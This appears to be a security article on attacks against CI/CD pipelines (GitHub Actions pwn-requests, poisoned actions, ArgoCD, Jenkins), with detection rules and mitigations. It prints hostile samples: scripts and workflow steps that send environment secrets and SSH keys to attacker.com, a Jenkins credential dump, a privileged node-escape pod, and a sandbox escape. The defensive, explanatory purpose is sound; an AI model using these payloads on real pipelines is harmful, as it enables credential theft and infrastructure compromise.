The pull request looked legitimate. A minor documentation fix from a new contributor. The reviewer approved it. GitHub Actions triggered automatically.

Three minutes later, the attacker had the organization’s AWS credentials, NPM publish token, and the private key used to sign production releases — all exfiltrated before anyone noticed.

TL;DR

  • CI/CD pipelines accumulate production credentials, cloud keys, and signing certificates — making them a high-value target that lives outside most security monitoring
  • pwn-request: pull_request_target workflows that check out PR code run attacker-controlled code with full access to repository secrets
  • Secrets exfiltration: CI runners expose credentials through logs, artifacts, and direct HTTP exfiltration
  • Action poisoning: third-party GitHub Actions can be compromised at the source — the tj-actions/changed-files incident (March 2025) exfiltrated secrets from thousands of repositories simultaneously
  • ArgoCD and Jenkins: exposed management interfaces with default configurations lead to direct Kubernetes cluster or server compromise
  • Detection requires GitHub audit logs, runner-level process monitoring, and behavioral analysis of workflow changes

Table of Contents

  1. Why CI/CD Is the Target
  2. Attack 1: pwn-request — pull_request_target Abuse
  3. Attack 2: Secrets Exfiltration from CI Runners
  4. Attack 3: Poisoning Third-Party Actions
  5. Attack 4: ArgoCD Misconfigurations
  6. Attack 5: Jenkins Groovy RCE
  7. Real-World Incidents
  8. Detection Reference
  9. Mitigations

Why CI/CD Is the Target

A modern CI/CD pipeline is, from an attacker’s perspective, a privileged service account with code execution capabilities.

Consider what a typical pipeline stores and accesses:

  • Cloud credentials (AWS, GCP, Azure) to deploy infrastructure
  • Package registry tokens (NPM, PyPI, Docker Hub) to push releases
  • Kubernetes kubeconfig to deploy to production clusters
  • Code signing certificates that make output trusted by default
  • SSH keys for server access
  • API keys for every third-party integration the application uses

All of these live as secrets in the CI environment. And the pipeline runs code automatically — triggered by pull requests, commits, or schedules — often with minimal human review. If you can influence what code the pipeline executes, you inherit everything it can access.

Attack vectorWhat it exposesComplexity
pwn-requestRepo secrets, GITHUB_TOKEN, deploy keysLow
Secrets in logs/artifactsAny CI platform secretLow
Action poisoningAll repos using compromised actionMedium
ArgoCD default configKubernetes clusterLow–Medium
Jenkins Groovy consoleCI server, stored credentialsLow (if exposed)
Dependency confusionPackage-consuming pipelinesMedium

Attack 1: pwn-request — pull_request_target Abuse

This is the most common CI/CD attack vector and affects GitHub Actions specifically. The name “pwn-request” comes from the security research community — it describes compromising a repository by submitting a pull request.

The trigger difference:

GitHub Actions has two triggers for pull requests:

  • pull_request — runs in the context of the fork. No access to repository secrets. Safe for external contributions.
  • pull_request_target — runs in the context of the base repository. Has full access to secrets. Intended for workflows that legitimately need elevated permissions, such as posting PR status comments.

The vulnerability arises when a workflow uses pull_request_target but also checks out the PR’s code — giving attacker-controlled code access to repository secrets.

Vulnerable workflow pattern:

# .github/workflows/test.yml — VULNERABLE
on:
pull_request_target:
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ← checks out attacker's code
- name: Install and test
run: npm ci && npm test # ← executes attacker's package.json scripts

The ref parameter overrides the default checkout to pull the PR submitter’s code. Combined with pull_request_target, the workflow executes untrusted code with access to all repository secrets.

Attacker’s payload in their fork’s package.json:

{
"scripts": {
"test": "curl -s -X POST https://attacker.com/collect -d \"$(env | base64 -w0)\""
}
}

When the base repository’s CI runs npm test, every environment variable — including AWS_ACCESS_KEY_ID, NPM_TOKEN, GITHUB_TOKEN, and any custom secrets — is delivered to the attacker.

Direct workflow injection:

# Malicious step added to a workflow file in the PR
- name: Exfil
run: |
echo "${{ toJSON(secrets) }}" | base64 | \
curl -d @- https://attacker.com/

Note: GitHub redacts known secret values in displayed logs — but toJSON(secrets) in a run: step sends the data directly outbound before any log redaction occurs.


Attack 2: Secrets Exfiltration from CI Runners

Even without pwn-request, CI runners are a rich target for credential theft through misconfigurations that are far more common than attackers who exploit them.

Secrets printed to logs:

# Common debugging pattern that creates a persistent security issue:
- run: echo "Connecting to $DATABASE_URL"
# GitHub masks exact matches of known secrets in UI — but:
# - Encoded variants (base64, URL-encoded) are not masked
# - Substrings and partial values are not masked
# - Logs from third-party integrations may not apply masking

Secrets persisted to artifacts:

- name: Debug dump
run: env > debug.txt
- uses: actions/upload-artifact@v4
with:
name: debug-output
path: debug.txt
retention-days: 90
# Anyone with repository read access can download this artifact for 90 days

Self-hosted runner persistence:

Self-hosted runners store their registration credentials on disk. A compromised runner machine gives an attacker persistent access to all future job execution:

Terminal window
# Runner credentials location
cat /home/runner/actions-runner/.credentials
# Contains runner registration token — usable to register additional runners
# or read job environment on future runs

The critical risk: self-hosted runners configured for multiple repositories or organizations give an attacker lateral movement across every project that uses them.

Lateral movement from CI to cloud:

Terminal window
# From inside a legitimate CI job with over-privileged AWS credentials:
aws iam list-users # enumerate IAM identities
aws s3 ls # list all accessible buckets
aws secretsmanager list-secrets # discover additional stored credentials
aws sts assume-role --role-arn arn:aws:iam::123456789:role/prod-deploy \
--role-session-name pwned # escalate to production role

CI/CD pipelines routinely hold AdministratorAccess equivalent cloud credentials. The blast radius of a pipeline compromise is often the entire cloud account.


Attack 3: Poisoning Third-Party Actions

GitHub Actions are referenced as owner/repo@version. If an attacker compromises the referenced action repository, they inject malicious steps into every repository that uses it — simultaneously, with no action required from the victims.

The tj-actions incident (March 2025):

tj-actions/changed-files was one of the most widely used GitHub Actions — installed in thousands of repositories to detect file changes in pull requests. In March 2025, attackers compromised the action by redirecting the referenced tag to a malicious commit.

The injected code printed CI secrets to workflow logs:

# Payload injected into the compromised action
import os, base64, sys
sensitive = {k: v for k, v in os.environ.items() if any(
kw in k.upper() for kw in
['TOKEN', 'SECRET', 'KEY', 'PASSWORD', 'CREDENTIAL', 'AUTH']
)}
sys.stdout.write(base64.b64encode(str(sensitive).encode()).decode())
sys.stdout.flush()

Log output is visible to anyone with repository read access. In the 90-day default retention window before logs expire, attackers can retrieve exfiltrated credentials from any affected repository’s workflow logs. The same campaign simultaneously compromised reviewdog/action-setup.

Why version pinning prevents this:

# UNSAFE — @v44 is a mutable tag; the owner can move it to any commit:
- uses: tj-actions/changed-files@v44
# SAFE — commit SHA is immutable; this exact code will always execute:
- uses: tj-actions/changed-files@d6babd6899969df1a11d14c368283ea4436bca78

When a tag like @v44 is moved to point to a malicious commit, every repository using @v44 immediately starts executing malicious code. A pinned SHA cannot be silently redirected.

Verifying action integrity:

Terminal window
# Confirm the SHA you're pinning is what you expect:
git ls-remote https://github.com/tj-actions/changed-files refs/tags/v44
# Compare against the commit SHA currently associated with the tag
# before pinning

Attack 4: ArgoCD Misconfigurations

ArgoCD is a GitOps continuous delivery tool that monitors a Git repository and automatically syncs Kubernetes manifests to a cluster. Misconfigurations turn it into a direct path to cluster compromise.

Default credential exposure:

In ArgoCD versions prior to 2.5, the initial admin password was set to the name of the argocd-server pod — predictable and documented in the official quickstart guide:

Terminal window
# Retrieve default admin password (ArgoCD < 2.5):
kubectl get pods -n argocd -l app.kubernetes.io/name=argocd-server \
-o name | cut -d'/' -f 2

Current versions use a randomly generated initial password stored in a secret, but many production deployments were never rotated after initial setup.

Exposed ArgoCD API:

With valid credentials (or defaults), an attacker can deploy arbitrary Kubernetes manifests:

Terminal window
argocd login argocd.target.internal --username admin --password <password>
argocd app list
# Sync a modified application — deploys whatever is now in the monitored repo
argocd app sync production-app --force

GitOps repo compromise → cluster escape:

If the monitored Git repository is compromised (via pwn-request or a stolen deploy key), a malicious Kubernetes manifest committed to it will be automatically synced:

# Committed to monitored repo — ArgoCD deploys it automatically:
apiVersion: v1
kind: Pod
metadata:
name: node-escape
namespace: kube-system
spec:
hostPID: true
hostNetwork: true
hostIPC: true
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "nsenter -t 1 -m -u -i -n -- bash"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /

This pod runs with host namespaces and mounts the underlying node’s filesystem — full node compromise via GitOps automation.

CVE-2022-24348 — repository server path traversal:

A path traversal in ArgoCD’s repository server allowed reading arbitrary files from the repo-server pod filesystem, including mounted Kubernetes secrets and service account tokens that could be used to authenticate to the cluster API directly.


Attack 5: Jenkins Groovy RCE

Jenkins uses Groovy for pipeline definitions (Jenkinsfile) and provides a built-in Groovy script console at /script — which executes arbitrary code on the Jenkins server with the permissions of the Jenkins process.

Exposed script console:

On Jenkins instances with authentication disabled or default credentials in use:

// Jenkins Groovy console — arbitrary OS command execution:
def cmd = "id && hostname && cat /etc/passwd".execute()
println cmd.text
// Extract all stored credentials from the Jenkins credential store:
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
CredentialsProvider.lookupCredentials(
UsernamePasswordCredentialsImpl.class,
Jenkins.instance, null, null
).each { c ->
println "${c.id}: ${c.username} / ${c.password.plainText}"
}

Jenkinsfile injection:

If an attacker can modify a Jenkinsfile in a repository monitored by Jenkins:

pipeline {
agent any
stages {
stage('Build') {
steps {
sh '''
# Exfiltrate all environment variables including credentials
env | base64 | curl -s -d @- https://attacker.com/
# Read Jenkins agent's SSH key if present
cat ~/.ssh/id_rsa 2>/dev/null | curl -s -d @- https://attacker.com/ssh
'''
}
}
}
}

Groovy sandbox escape:

Jenkins’ Script Security plugin sandboxes pipeline Groovy execution. However, numerous sandbox escapes have been documented — they allow breaking out to execute arbitrary Java or OS-level code, effectively equivalent to direct script console access:

// Sandbox escape pattern (conceptual — specifics vary by Jenkins version):
import groovy.transform.*
@groovy.transform.CompileStatic
class Exploit {
static def run() {
Runtime.runtime.exec("curl -d @/etc/passwd https://attacker.com/")
}
}
Exploit.run()

Unpatched Jenkins instances running the Script Security plugin prior to version 1.77 are vulnerable to multiple documented escapes.


Real-World Incidents

IncidentYearPipeline impact
SolarWinds Orion2020Build server compromised; SUNBURST backdoor injected into signed Orion updates before compilation
Codecov2021CI bash uploader script modified; environment variables (including GCP keys, tokens) exfiltrated from thousands of pipelines
3CX2023Build environment compromised; signed 3CX Desktop App shipped with embedded DLL loader — downstream users received signed malware
tj-actions/changed-files2025Action compromised via tag redirect; secrets exfiltrated from logs across thousands of repositories
reviewdog/action-setup2025Same campaign as tj-actions; simultaneous compromise, same exfiltration payload

The SolarWinds and 3CX incidents illustrate the highest-impact variant: build-time injection that produces legitimately signed malicious artifacts. Runtime detection cannot catch these — the signed binary itself is the threat vector, and downstream users have no reason to distrust a valid signature.


Detection Reference

GitHub Audit Log Events

# High-value events to monitor in GitHub org audit logs:
workflows.created_workflow_run # new workflow triggered
workflows.approve_workflow_run # maintainer approved external PR workflow
org.secret_scanning_alert_created # potential secret exposure detected
repo.add_member # new contributor added with write access
protected_branch.update_protection_rule # branch protection weakened

Sigma — pwn-request Pattern Detection:

title: GitHub Actions Workflow Using pull_request_target Trigger
id: c9a3b2e1-5f7d-4a8b-9c2e-1f3d5e7a9b1c
status: experimental
description: Detects new or modified GitHub Actions workflows using the pull_request_target trigger — requires manual review to determine if PR code checkout is present
logsource:
category: application
product: github
service: audit_log
detection:
selection:
action: workflows.created_workflow_run
event_type: pull_request_target
condition: selection
falsepositives:
- Legitimate pull_request_target workflows used for PR labeling, commenting, or status checks that do not check out PR code
level: medium
tags:
- attack.execution
- attack.t1059
- attack.t1195.002

Sigma — CI Runner Secrets Exfiltration:

title: CI Runner HTTP Exfiltration via curl or wget
id: d4e5f6a7-b8c9-4d0e-a1f2-b3c4d5e6f7a8
status: experimental
description: Detects curl or wget commands in CI runner processes sending POST data to external hosts — potential secrets exfiltration from pipeline
logsource:
product: linux
service: auditd
detection:
selection:
type: EXECVE
a0|contains:
- 'curl'
- 'wget'
a1|contains:
- '-d'
- '--data'
- '--data-binary'
- '-F'
filter_legit_domains:
a2|contains:
- 'github.com'
- 'githubusercontent.com'
- 'actions.github.com'
- 'pkg.github.com'
condition: selection and not filter_legit_domains
falsepositives:
- Legitimate deployment steps POSTing to known internal endpoints
level: high
tags:
- attack.exfiltration
- attack.t1048
- attack.t1048.002

Wazuh — Jenkins Script Console Access:

<rule id="100500" level="10">
<if_group>web</if_group>
<url>/script</url>
<match>POST</match>
<description>Jenkins Groovy script console execution attempt</description>
<mitre>
<id>T1059.007</id>
</mitre>
</rule>
<rule id="100501" level="14">
<if_sid>100500</if_sid>
<srcip>!10.0.0.0/8</srcip>
<srcip>!192.168.0.0/16</srcip>
<srcip>!172.16.0.0/12</srcip>
<description>Jenkins Groovy console accessed from external IP — potential RCE</description>
<group>attack,rce</group>
</rule>

Sentinel KQL — ArgoCD Anonymous or Unexpected API Access:

AzureDiagnostics
| where Category == "kube-apiserver"
| where requestURI_s contains "/api/v1/namespaces/argocd"
| where responseStatus_d in (200, 201, 202)
| where username_s == "system:anonymous"
or (username_s !startswith "system:serviceaccount:argocd"
and username_s !startswith "argocd")
| summarize
RequestCount = count(),
URIs = make_set(requestURI_s, 10)
by bin(TimeGenerated, 5m), username_s, clientIP_s
| where RequestCount > 3
| order by TimeGenerated desc

auditd — Credential File Access from CI Process:

/etc/audit/rules.d/cicd.rules
# Alert on access to common credential file locations from runner processes
-a always,exit -F arch=b64 -S openat -F dir=/home/runner/.aws -F auid>=1000 -k ci_aws_access
-a always,exit -F arch=b64 -S openat -F path=/home/runner/.ssh/id_rsa -k ci_ssh_key
-a always,exit -F arch=b64 -S openat -F dir=/home/runner/actions-runner -F a2&004 -k runner_cred_access

Mitigations

AttackMitigationPriority
pwn-requestNever check out PR head.sha in pull_request_target workflows; use pull_request for untrusted codeCritical
Action poisoningPin all third-party actions to immutable commit SHA; use Dependabot to track upstream changesCritical
Secrets in logsEnable secret scanning; use ::add-mask::$VALUE for dynamic values; audit artifact contents before uploadHigh
Self-hosted runnersIsolate runners per environment; never share runners between internal and untrusted PR jobs; treat runner machines as privileged hostsHigh
ArgoCD defaultsRotate initial admin password immediately; enable RBAC; restrict API server access to internal networks; require SSOHigh
Jenkins exposureDisable anonymous access; require authentication for all endpoints including /script; apply Script Security plugin updatesHigh
Over-privileged GITHUB_TOKENUse permissions: block to restrict GITHUB_TOKEN to minimum required scopes per workflowHigh
Credential over-privilegeApply least privilege to cloud credentials in CI; use short-lived OIDC tokens instead of long-lived static keys where possibleHigh
GitOps manifest injectionRequire signed commits on ArgoCD-monitored repositories; use branch protection with required reviewsMedium


Sources